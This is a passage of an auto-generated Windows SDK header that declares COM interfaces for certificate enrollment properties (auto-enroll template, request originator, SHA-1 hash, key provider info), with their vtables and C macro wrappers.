ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyAutoEnroll * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyAutoEnroll * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyAutoEnroll * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateName )( \n            __RPC__in ICertPropertyAutoEnroll * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyAutoEnrollVtbl;\n\n    interface ICertPropertyAutoEnroll\n    {\n        CONST_VTBL struct ICertPropertyAutoEnrollVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyAutoEnroll_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyAutoEnroll_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyAutoEnroll_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyAutoEnroll_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyAutoEnroll_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyAutoEnroll_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyAutoEnroll_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyAutoEnroll_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyAutoEnroll_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyAutoEnroll_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyAutoEnroll_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyAutoEnroll_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyAutoEnroll_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyAutoEnroll_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyAutoEnroll_Initialize(This,strTemplateName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strTemplateName) ) \n\n#define ICertPropertyAutoEnroll_get_TemplateName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyAutoEnroll_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyRequestOriginator_INTERFACE_DEFINED__\n#define __ICertPropertyRequestOriginator_INTERFACE_DEFINED__\n\n/* interface ICertPropertyRequestOriginator */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyRequestOriginator;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab333-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyRequestOriginator : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strRequestOriginator) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromLocalRequestOriginator( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestOriginator( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyRequestOriginatorVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyRequestOriginator * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [in] */ __RPC__in BSTR strRequestOriginator);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromLocalRequestOriginator )( \n            __RPC__in ICertPropertyRequestOriginator * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestOriginator )( \n            __RPC__in ICertPropertyRequestOriginator * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyRequestOriginatorVtbl;\n\n    interface ICertPropertyRequestOriginator\n    {\n        CONST_VTBL struct ICertPropertyRequestOriginatorVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyRequestOriginator_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyRequestOriginator_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyRequestOriginator_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyRequestOriginator_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyRequestOriginator_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyRequestOriginator_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyRequestOriginator_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyRequestOriginator_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRequestOriginator_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyRequestOriginator_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyRequestOriginator_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyRequestOriginator_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyRequestOriginator_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRequestOriginator_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyRequestOriginator_Initialize(This,strRequestOriginator)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strRequestOriginator) ) \n\n#define ICertPropertyRequestOriginator_InitializeFromLocalRequestOriginator(This)\t\\\n    ( (This)->lpVtbl -> InitializeFromLocalRequestOriginator(This) ) \n\n#define ICertPropertyRequestOriginator_get_RequestOriginator(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestOriginator(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyRequestOriginator_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertySHA1Hash_INTERFACE_DEFINED__\n#define __ICertPropertySHA1Hash_INTERFACE_DEFINED__\n\n/* interface ICertPropertySHA1Hash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertySHA1Hash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab334-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertySHA1Hash : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SHA1Hash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertySHA1HashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertySHA1Hash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertySHA1Hash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertySHA1Hash * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SHA1Hash )( \n            __RPC__in ICertPropertySHA1Hash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertySHA1HashVtbl;\n\n    interface ICertPropertySHA1Hash\n    {\n        CONST_VTBL struct ICertPropertySHA1HashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertySHA1Hash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertySHA1Hash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertySHA1Hash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertySHA1Hash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertySHA1Hash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertySHA1Hash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertySHA1Hash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertySHA1Hash_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertySHA1Hash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertySHA1Hash_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertySHA1Hash_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertySHA1Hash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertySHA1Hash_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertySHA1Hash_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertySHA1Hash_Initialize(This,Encoding,strRenewalValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strRenewalValue) ) \n\n#define ICertPropertySHA1Hash_get_SHA1Hash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SHA1Hash(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertySHA1Hash_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__\n#define __ICertPropertyKeyProvInfo_INTERFACE_DEFINED__\n\n/* interface ICertPropertyKeyProvInfo */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyKeyProvInfo;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab336-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyKeyProvInfo : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509PrivateKey *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PrivateKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyKeyProvInfoVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyKeyProvInfo * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyKeyProvInfo * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyKeyProvInfo * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in ICertPropertyKeyProvInfo * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        END_INTERFACE\n    } ICertPropertyKeyProvInfoVtbl;\n\n    interface ICertPropertyKeyProvInfo\n    {\n        CONST_VTBL struct ICertPropertyKeyProvInfoVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyKeyProvInfo_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> 